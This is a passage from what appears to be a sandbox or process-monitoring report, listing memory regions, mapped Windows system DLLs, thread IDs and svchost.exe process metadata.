"c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-s-1-5-21-3643094112-4209292109-138530109-1001.dat") Region: id = 5531 start_va = 0x7dfd580000 end_va = 0x7dfd590fff entry_point = 0x7dfd581420 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 5532 start_va = 0x7dffe80000 end_va = 0x7dffefffff entry_point = 0x0 region_type = private name = "private_0x0000007dffe80000" filename = "" Region: id = 5533 start_va = 0x7ff617c28000 end_va = 0x7ff617c29fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c28000" filename = "" Region: id = 5534 start_va = 0x7ffd1cba0000 end_va = 0x7ffd1cc36fff entry_point = 0x7ffd1cba18bc region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 5537 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5538 start_va = 0x7dfd5a0000 end_va = 0x7dfd5a3fff entry_point = 0x7dfd5a0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 6537 start_va = 0x7dfff00000 end_va = 0x7dfff7ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfff00000" filename = "" Region: id = 6538 start_va = 0x7ff617c26000 end_va = 0x7ff617c27fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c26000" filename = "" Region: id = 6539 start_va = 0x7ffd1a150000 end_va = 0x7ffd1a214fff entry_point = 0x7ffd1a15109c region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6563 start_va = 0x7dfff80000 end_va = 0x7dffffffff entry_point = 0x0 region_type = private name = "private_0x0000007dfff80000" filename = "" Region: id = 6564 start_va = 0x7ff617c24000 end_va = 0x7ff617c25fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c24000" filename = "" Region: id = 6565 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6566 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6569 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6570 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6676 start_va = 0x7d80800000 end_va = 0x7d808fffff entry_point = 0x0 region_type = private name = "private_0x0000007d80800000" filename = "" Region: id = 6801 start_va = 0x7d80900000 end_va = 0x7d8097ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80900000" filename = "" Region: id = 6802 start_va = 0x7dfff00000 end_va = 0x7dfff7ffff entry_point = 0x0 region_type = private name = "private_0x0000007dfff00000" filename = "" Region: id = 6803 start_va = 0x7ff617c22000 end_va = 0x7ff617c23fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c22000" filename = "" Region: id = 6804 start_va = 0x7ff617c26000 end_va = 0x7ff617c27fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c26000" filename = "" Region: id = 6805 start_va = 0x7ffd13500000 end_va = 0x7ffd1351afff entry_point = 0x7ffd13504054 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 6836 start_va = 0x7ffd13470000 end_va = 0x7ffd134f2fff entry_point = 0x7ffd13470000 region_type = mapped_file name = "netprofmsvc.dll" filename = "\\Windows\\System32\\netprofmsvc.dll" (normalized: "c:\\windows\\system32\\netprofmsvc.dll") Region: id = 6839 start_va = 0x7ffd19590000 end_va = 0x7ffd195a8fff entry_point = 0x7ffd19591180 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 6847 start_va = 0x7d80980000 end_va = 0x7d809fffff entry_point = 0x0 region_type = private name = "private_0x0000007d80980000" filename = "" Region: id = 6848 start_va = 0x7ff617c20000 end_va = 0x7ff617c21fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c20000" filename = "" Region: id = 6849 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 6858 start_va = 0x7d80900000 end_va = 0x7d8097ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80900000" filename = "" Region: id = 6859 start_va = 0x7ff617c22000 end_va = 0x7ff617c23fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c22000" filename = "" Region: id = 6860 start_va = 0x7ffd131e0000 end_va = 0x7ffd132f1fff entry_point = 0x7ffd131e0000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 6884 start_va = 0x7d80a00000 end_va = 0x7d80a01fff entry_point = 0x7d80a00000 region_type = mapped_file name = "netprofmsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\netprofmsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netprofmsvc.dll.mui") Region: id = 6887 start_va = 0x7d80a10000 end_va = 0x7d80a8ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80a10000" filename = "" Region: id = 6888 start_va = 0x7ff617c1e000 end_va = 0x7ff617c1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1e000" filename = "" Region: id = 6893 start_va = 0x7d80a90000 end_va = 0x7d80b0ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80a90000" filename = "" Region: id = 6894 start_va = 0x7d80b10000 end_va = 0x7d80b11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d80b10000" filename = "" Region: id = 6895 start_va = 0x7ff617c1c000 end_va = 0x7ff617c1dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1c000" filename = "" Region: id = 6896 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6897 start_va = 0x7ffd13070000 end_va = 0x7ffd130f2fff entry_point = 0x7ffd13070000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 6898 start_va = 0x7ffd1a130000 end_va = 0x7ffd1a14bfff entry_point = 0x7ffd1a13108c region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 6899 start_va = 0x7ffd1bee0000 end_va = 0x7ffd1beedfff entry_point = 0x7ffd1bee3090 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 6900 start_va = 0x7ffd1a3a0000 end_va = 0x7ffd1a3affff entry_point = 0x7ffd1a3a2520 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 6901 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6906 start_va = 0x7d80b20000 end_va = 0x7d80b6ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80b20000" filename = "" Region: id = 6908 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a1780 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 6909 start_va = 0x7d80b70000 end_va = 0x7d80beffff entry_point = 0x0 region_type = private name = "private_0x0000007d80b70000" filename = "" Region: id = 6910 start_va = 0x7d80bf0000 end_va = 0x7d80c6ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80bf0000" filename = "" Region: id = 6911 start_va = 0x7d80c70000 end_va = 0x7d80ceffff entry_point = 0x0 region_type = private name = "private_0x0000007d80c70000" filename = "" Region: id = 6912 start_va = 0x7ff617c16000 end_va = 0x7ff617c17fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c16000" filename = "" Region: id = 6913 start_va = 0x7ff617c18000 end_va = 0x7ff617c19fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c18000" filename = "" Region: id = 6914 start_va = 0x7ff617c1a000 end_va = 0x7ff617c1bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1a000" filename = "" Region: id = 6915 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18181dcc region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 6917 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13010000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 6919 start_va = 0x7ffd13520000 end_va = 0x7ffd13528fff entry_point = 0x7ffd13521284 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 6940 start_va = 0x7d80cf0000 end_va = 0x7d80d6ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80cf0000" filename = "" Region: id = 6941 start_va = 0x7ff617c14000 end_va = 0x7ff617c15fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c14000" filename = "" Region: id = 6942 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6956 start_va = 0x7d80b20000 end_va = 0x7d80b20fff entry_point = 0x0 region_type = private name = "private_0x0000007d80b20000" filename = "" Region: id = 6957 start_va = 0x7d80b60000 end_va = 0x7d80b6ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80b60000" filename = "" Region: id = 6958 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 6976 start_va = 0x7d80b20000 end_va = 0x7d80b20fff entry_point = 0x0 region_type = private name = "private_0x0000007d80b20000" filename = "" Region: id = 6977 start_va = 0x7d80d70000 end_va = 0x7d80deffff entry_point = 0x0 region_type = private name = "private_0x0000007d80d70000" filename = "" Region: id = 6978 start_va = 0x7d80df0000 end_va = 0x7d80e6ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80df0000" filename = "" Region: id = 6979 start_va = 0x7ff617c10000 end_va = 0x7ff617c11fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c10000" filename = "" Region: id = 6980 start_va = 0x7ff617c12000 end_va = 0x7ff617c13fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c12000" filename = "" Region: id = 7207 start_va = 0x7d80e70000 end_va = 0x7d80eeffff entry_point = 0x0 region_type = private name = "private_0x0000007d80e70000" filename = "" Region: id = 7208 start_va = 0x7d80ef0000 end_va = 0x7d80f6ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80ef0000" filename = "" Region: id = 7209 start_va = 0x7ff617c0c000 end_va = 0x7ff617c0dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0c000" filename = "" Region: id = 7210 start_va = 0x7ff617c0e000 end_va = 0x7ff617c0ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0e000" filename = "" Region: id = 7310 start_va = 0x7d80f70000 end_va = 0x7d8116ffff entry_point = 0x0 region_type = private name = "private_0x0000007d80f70000" filename = "" Region: id = 7776 start_va = 0x7d80b20000 end_va = 0x7d80b20fff entry_point = 0x0 region_type = private name = "private_0x0000007d80b20000" filename = "" Region: id = 7777 start_va = 0x7d80b20000 end_va = 0x7d80b20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d80b20000" filename = "" Thread: id = 317 os_tid = 0x354 Thread: id = 318 os_tid = 0x358 Thread: id = 319 os_tid = 0x35c Thread: id = 320 os_tid = 0x360 Thread: id = 321 os_tid = 0x364 Thread: id = 323 os_tid = 0x36c Thread: id = 331 os_tid = 0x390 Thread: id = 339 os_tid = 0x3ac Thread: id = 340 os_tid = 0x3b0 Thread: id = 358 os_tid = 0x3f8 Thread: id = 398 os_tid = 0x338 Thread: id = 399 os_tid = 0x38c Thread: id = 499 os_tid = 0x5a4 Thread: id = 591 os_tid = 0x714 Thread: id = 597 os_tid = 0x72c Thread: id = 624 os_tid = 0x7a0 Thread: id = 626 os_tid = 0x7a8 Thread: id = 635 os_tid = 0x7d0 Thread: id = 639 os_tid = 0x7e0 Thread: id = 647 os_tid = 0x4b0 Thread: id = 648 os_tid = 0x4cc Thread: id = 651 os_tid = 0x534 Thread: id = 652 os_tid = 0x554 Thread: id = 653 os_tid = 0x500 Thread: id = 656 os_tid = 0x14c Thread: id = 665 os_tid = 0x5f8 Thread: id = 666 os_tid = 0x5fc Thread: id = 669 os_tid = 0x2b0 Thread: id = 673 os_tid = 0x2ac Process: id = "48" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x66019000" os_pid = "0x378" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\DeviceAssociationService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\fhsvc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\NcbService" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\ScDeviceEnum" [0xa], "NT SERVICE\\svsvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\vmicguestinterface" [0xa], "NT SERVICE\\vmickvpexchange" [0xa], "NT SERVICE\\vmicshutdown" [0xa], "NT SERVICE\\vmicvss" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\WiaRpc" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b3f1" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4040 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4041 start_va = 0xa2ea520000 end_va = 0xa2ea53ffff entry_point = 0x0 region_type = private name = "private_0x000000a2ea520000" filename = "" Region: id = 4042 start_va = 0xa2ea540000 end_va = 0xa2ea54efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea540000" filename = "" Region: id = 4043 start_va = 0xa2ea550000 end_va = 0xa2ea5cffff entry_point = 0x0 region_type = private name = "private_0x000000a2ea550000" filename = "" Region: id = 4044 start_va = 0xa2ea5d0000 end_va = 0xa2ea5d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea5d0000" filename = "" Region: id = 4045 start_va = 0x7ff617670000 end_va = 0x7ff617692fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617670000" filename = "" Region: id = 4046 start_va = 0x7ff617699000 end_va = 0x7ff617699fff entry_point = 0x0 region_type = private name = "private_0x00007ff617699000" filename = "" Region: id = 4047 start_va = 0x7ff61769e000 end_va = 0x7ff61769ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61769e000" filename = "" Region: id = 4048 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4049 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4050 start_va = 0xa2ea5e0000 end_va = 0xa2ea5e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea5e0000" filename = "" Region: id = 4051 start_va = 0xa2ea5f0000 end_va = 0xa2ea5f1fff entry_point = 0x0 region_type = private name = "private_0x000000a2ea5f0000" filename = "" Region: id = 4052 start_va = 0xa2ea680000 end_va = 0xa2ea77ffff entry_point = 0x0 region_type = private name = "private_0x000000a2ea680000" filename = "" Region: id = 4053 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4054 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4055 start_va = 0xa2ea520000 end_va = 0xa2ea52ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea520000" filename = "" Region: id = 4056 start_va = 0x7ff617570000 end_va = 0x7ff61766ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617570000" filename = "" Region: id = 4057 start_va = 0xa2ea600000 end_va = 0xa2ea67dfff entry_point = 0xa2ea600000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4058 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4059 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4060 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4061 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4062 start_va = 0xa2ea780000 end_va = 0xa2ea97ffff entry_point = 0x0 region_type = private name = "private_0x000000a2ea780000" filename = "" Region: id = 4063 start_va = 0xa2ea530000 end_va = 0xa2ea536fff entry_point = 0x0 region_type = private name = "private_0x000000a2ea530000" filename = "" Region: id = 4064 start_va = 0xa2ea780000 end_va = 0xa2ea839fff entry_point = 0xa2ea7ac768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4065 start_va = 0xa2ea970000 end_va = 0xa2ea97ffff entry_point = 0x0 region_type = private name = "private_0x000000a2ea970000" filename = "" Region: id = 4066 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4067 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4068 start_va = 0xa2ea780000 end_va = 0xa2ea786fff entry_point = 0x0 region_type = private name = "private_0x000000a2ea780000" filename = "" Region: id = 4069 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4070 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4071 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4072 start_va = 0xa2ea790000 end_va = 0xa2ea917fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea790000" filename = "" Region: id = 4073 start_va = 0xa2ea980000 end_va = 0xa2eab00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea980000" filename = "" Region: id = 4074 start_va = 0xa2eab10000 end_va = 0xa2eabcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2eab10000" filename = "" Region: id = 4075 start_va = 0xa2ea920000 end_va = 0xa2ea922fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea920000" filename = "" Region: id = 4076 start_va = 0xa2ea930000 end_va = 0xa2ea930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea930000" filename = "" Region: id = 4077 start_va = 0xa2ea940000 end_va = 0xa2ea940fff entry_point = 0x0 region_type = private name = "private_0x000000a2ea940000" filename = "" Region: id = 4078 start_va = 0xa2ea950000 end_va = 0xa2ea950fff entry_point = 0x0 region_type = private name = "private_0x000000a2ea950000" filename = "" Region: id = 4079 start_va = 0xa2eabd0000 end_va = 0xa2eafc9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2eabd0000" filename = "" Region: id = 4089 start_va = 0xa2eafd0000 end_va = 0xa2eb04ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eafd0000" filename = "" Region: id = 4090 start_va = 0xa2eb050000 end_va = 0xa2eb0cffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb050000" filename = "" Region: id = 4091 start_va = 0x7ff61769a000 end_va = 0x7ff61769bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61769a000" filename = "" Region: id = 4092 start_va = 0x7ff61769c000 end_va = 0x7ff61769dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61769c000" filename = "" Region: id = 4093 start_va = 0xa2eb0d0000 end_va = 0xa2eb3a4fff entry_point = 0xa2eb0d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4094 start_va = 0x7ffd19090000 end_va = 0x7ffd190c6fff entry_point = 0x7ffd19090000 region_type = mapped_file name = "audioendpointbuilder.dll" filename = "\\Windows\\System32\\AudioEndpointBuilder.dll" (normalized: "c:\\windows\\system32\\audioendpointbuilder.dll") Region: id = 4095 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4096 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4097 start_va = 0x7ffd1ade0000 end_va = 0x7ffd1ae40fff entry_point = 0x7ffd1adf32c8 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 4098 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4110 start_va = 0xa2ea960000 end_va = 0xa2ea960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2ea960000" filename = "" Region: id = 4111 start_va = 0xa2eb3b0000 end_va = 0xa2eb42ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 4112 start_va = 0x7ff617697000 end_va = 0x7ff617698fff entry_point = 0x0 region_type = private name = "private_0x00007ff617697000" filename = "" Region: id = 4113 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4114 start_va = 0xa2eb050000 end_va = 0xa2eb050fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a2eb050000" filename = "" Region: id = 4115 start_va = 0xa2eb430000 end_va = 0xa2eb4affff entry_point = 0x0 region_type = private name = "private_0x000000a2eb430000" filename = "" Region: id = 4116 start_va = 0x7ff61769a000 end_va = 0x7ff61769bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61769a000" filename = "" Region: id = 4117 start_va = 0xa2eb060000 end_va = 0xa2eb060fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb060000" filename = "" Region: id = 4118 start_va = 0xa2eb070000 end_va = 0xa2eb070fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb070000" filename = "" Region: id = 4128 start_va = 0xa2eb080000 end_va = 0xa2eb080fff entry_point = 0xa2eb080000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 4135 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 4149 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 4150 start_va = 0xa2eb4b0000 end_va = 0xa2eb52ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb4b0000" filename = "" Region: id = 4151 start_va = 0x7ff617695000 end_va = 0x7ff617696fff entry_point = 0x0 region_type = private name = "private_0x00007ff617695000" filename = "" Region: id = 4152 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4153 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4171 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6390 start_va = 0x7ffd18e00000 end_va = 0x7ffd18e75fff entry_point = 0x7ffd18e00000 region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" (normalized: 